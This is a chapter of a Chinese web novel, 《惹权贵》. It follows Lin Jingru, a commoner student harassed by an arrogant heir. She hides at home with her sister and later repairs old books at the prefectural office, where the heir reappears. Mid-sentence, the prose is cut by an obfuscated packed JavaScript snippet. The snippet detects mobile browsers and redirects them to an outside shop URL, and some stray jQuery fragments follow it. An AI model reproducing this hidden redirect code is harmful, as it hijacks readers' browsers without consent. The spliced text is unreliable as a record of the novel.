18. 第 18 章
作品:《惹权贵》 林景如立在门边,身后日光斜照,将她的衣角染成淡金,面容却半隐在阴影里,看不真切。
骆应枢看过去,明知故问道:“怎么?不是早该去听夫子讲学了?”
她本就因无法安心听课而烦闷,听他这般装模作样的语气,心头火起,险些藏不住情绪。
她暗暗吸气,勉强压下那股郁结,声音里却仍漏出一丝波动:“世子吩咐,不敢推辞。想来……夫子也不会怪罪。”
“他敢?”骆应枢轻哼一声,听出她话里那点不甘,唇角忽地勾起,“你若早些这般听话,又何至于此?跟本世子作对,从没什么好下场。”
林景如垂眸敛目,乖顺应了声“是”。
往日两人针锋相对惯了,他早看穿她平静表面下藏着的棱角。近来她却过分温顺,反倒让他觉得……无趣。
越是看她这般隐忍作态,他便越是想撕开那层平静,瞧瞧底下真实的模样。
“林景如,”他忽然侧首,目光如钩,“你越是装得乖顺,本世子就越想揭了你脸上这层皮,看看你惊慌失措的样子。”
他顿了顿,笑意渐深:“想必到那时……日子会更有趣些。”
林景如听懂了。
他知道她的顺从不过是权宜之计,却也乐得陪她演这一场,权当消遣。但他更期待的,是她撕下面具、露出獠牙的瞬间。
她始终想不明白——除了初识时那场被施明远挑起的冲突,她从未刻意显露过什么特别之处。
究竟是什么令他一直揪着她不放?
若真有什么不同,大概只有她这与满堂锦绣格格不入的寒门出身。
她却不知,自己那双看似平静的眼底,总在不经意间掠过一丝不肯屈折的锐光,正是这点光,勾住了骆应枢的视线。
譬如此刻,她虽低眉顺眼地立在原地,却仍在不自觉间泄露了最深处的情绪:厌他,烦他,却又奈何不了他。
骆应枢一步步试探,不过是想扯下她那层面具,瞧瞧她最真实的喜怒。
就像昨夜马车中,她为女子辩驳时眼底那簇灼人的亮光,在他断然拒绝后骤然黯下,却又在下一刻重新燃起。
那般鲜活挣扎的模样,实在有趣极了。
尤其是看她被逼至绝境,是求生,还是求他?
于是他乐得一步步紧逼,亲手将她推入悬崖。
生死一线,皆在他掌心翻覆。
一番话不欢而散,林景如站在原地,目送那道身影悠然远去,这才缓缓卸了浑身力道。
挺直的脊背一点点松下来,几乎要弯折。她看了看天色,原想去讲堂,却怕骆应枢又跟来纠缠。
几番踌躇,终是转身朝家的方向走去。
与其在学堂惹人侧目、徒招怨怼,不如归家图个清净。
此后一连数日,林景如未在书院露面。骆应枢遍寻不着,问了才知她已告假归家。
再细问,竟无人知晓她家住何处。
自书院回来,林景如便将自己关进了房中,林清禾虽一头雾水,不知发生了何事,却懂事地不去打扰,只默默做着自已的事。
近来她在书中瞧见几样新绣样,心里喜欢,便照着描摹绣了出来。
谁知拿到绣坊,掌柜一眼相中,将五方帕子尽数收了去,还说日后若有新花样尽管送来。
银钱不算多,却能稍微减轻些兄长肩上的重担。
夜幕渐来,林清禾将饭菜做好端上桌后,目光看向紧闭的房门几息后,又转身去厨房拿了几个碗将菜肴扣上。
随后才又坐在灯下又捡起了针线。
林景如出来时,便见桌面上摆放着两副碗筷,饭菜尚有余温。
妹妹正就着昏黄油灯低头刺绣,半边脸庞隐在阴影里。
她上前将油灯挑亮了一些,一边说道:“夜里灯火暗,不是不让你做这些吗?”
“阿兄在忙,”林清禾仰脸甜甜一笑,将手中的针线篓子放到一旁,“左右我坐着无事,便随便做做。”
林景如揭开桌子上倒扣的碗,热气氤氲:“下次不用等我,饿了便先吃。”
林清禾手脚麻利地那碗添了饭,眨眼道:“我知道的,方才不饿,才想着等等阿兄,若你还不出来,我便自己吃了。”
林景如点点头。
“阿兄可是遇到了什么事?”两人坐下后,林清禾轻声问道,“是那位世子爷……又为难你了吗?”
林景如夹菜的手一顿,本不欲多说,却又担心若将她蒙在鼓里,届时出了什么事,日后措手不及,更难以应对。
于是她想了想,放下碗筷,望向眼前尚带稚气的面庞:“禾禾,这些时日……我恐怕要在家多留一段日子。”
林清禾似懂非懂地点点头,又想到前些日子她身上的伤,开口又问:“是因为那位世子?”
“嗯。”林景如点点头,轻声嘱咐:“这些日子你尽量少出门,若有什么要采买的,同我说一声。”
“我知道了,阿兄你放心吧。”
想起骆应枢,林景如便觉太阳穴隐隐作痛。
她仍不放心,又压低声音道:“灶下那条暗道,机关你是知道的。若真有什么万一,就躲进去,等我回来。”
那暗道藏在锅灶之下,覆着防火的土层,是林景如为防万一,许多年前就挖好的。
见她神色郑重,林清禾筷尖的菜倏地掉回碗里,脸色微微发白:“阿兄,究竟……出什么事了?”
林景如不欲吓她,但想到自己以后的安排,有些话却又不得不将这些事交代清楚。
于是她将得罪骆应枢、在书院遭刁难的事拣紧要的说了,语气尽量放得平缓,一边说,一边轻拍妹妹的手背。
“别怕,他眼下不过是一时兴起,不会真将我怎样。”
林清禾本就对当初她那浑身是伤的模样心有余悸,此刻听那人仍不罢休,心又悬了起来。
林景如握了握她的手,递过一个宽慰的笑:“相信我。”
即便心中再如何担心,林清禾却知自己不能给她拖后腿,于是重重地点点头,‘嗯’了一声:“阿兄你定要小心小心再小心!”
林景如笑了笑,柔声应下。
她并未说
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16917096|192531||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
往后具体的打算,林清禾也不多问。
姐妹之间有种无需言说的信任——林清禾知道,她的阿兄从来不是坐以待毙之人。
到了第二日,林景如直接去了知府衙门,此前出入衙门修缮古籍时,常与门房交谈,这么多年,门房始终未变,倒也算熟悉。
她此次休学在家,并非全然是为了躲开骆应枢。
近来知府衙门又新来了一批残卷,书吏知她踏实肯干又细致可靠,这次便先寻了她来。
本还她打算白日去书院,晚些时候便来衙门整理这些新来的典籍,虽说辛苦些,却也不耽误事。
这个计划本骆应枢打乱后,索性避开他,来这里躲个清静。
没想到反倒能全心投入此事。
况且这里离温大人近些,也便于她往后行事。
门房早就得了吩咐,知道这几日会有人来衙门帮着书吏整理古籍,见来人是她,笑眯着眼放她入内。
也不知这次这批古籍是从何处得来,林景如看了一眼,便见有些书不成书,字不成字。
想来,比此前修缮时会更难些。
因此次古籍不多,书吏便只请了三人。林景如抬眼看去,一同帮着修缮的除了她,还有上次一同共过事的两张熟面孔。
想来是上回合作时行事妥帖,这回又被召来。
书吏将哪些书要如何修复,哪些书要小心归类等,一应事宜事无巨细地交代清楚后,便甩手给了他们。
林景如对这些事并不陌生,做起来也是得心应手。
可即便如此,好几日过去了,林景如也不过是堪堪将一册残卷重新拼凑好。
锤了锤几乎僵直的胳膊,而后才注意到,其他人也与自己一样,正皱着眉头锤着僵硬的颈脖苦笑。
用过午饭后,几个人又马不停蹄地低头继续手上的动作——这些时日,一直重复的行为。
压抑的房间只传来一些纸页轻响,偶尔传来几道关于修缮的探讨声,随后又很快消失。
也不知过了多久,林景如听到外面传来几道脚步声。
林景如本以为是书吏来看众人做得如何,谁知一抬头,便见知府温大人,引着一人而来。
那人身着紫袍,头戴玉冠,眉目疏朗,唇边噙着惯有的散漫笑意。
不是骆应枢,又是谁。
本避之不及的人突然出现,林景如指尖一顿,迅速将头低了下去,暗自祈祷对方未曾看到自己。
好在他们进了隔壁存放书典的库房。
“世子,这边就是架阁库了,一应古籍与衙门的文牍皆存放在此。”
林景如听到温大人如此说道。
林景如心念急转,明知躲不过,却仍抱着一丝侥幸。她转向一旁值守的衙役,低声道:
“大哥,我去一趟茅房。”
那衙役点点头,浑不在意,摆了摆手连声说了一句:“去吧去吧。”
她当即转身,快步朝院门走去。
就在即将迈过门槛的那一瞬,身后传来一道清晰含笑的嗓音——
“林景如。”

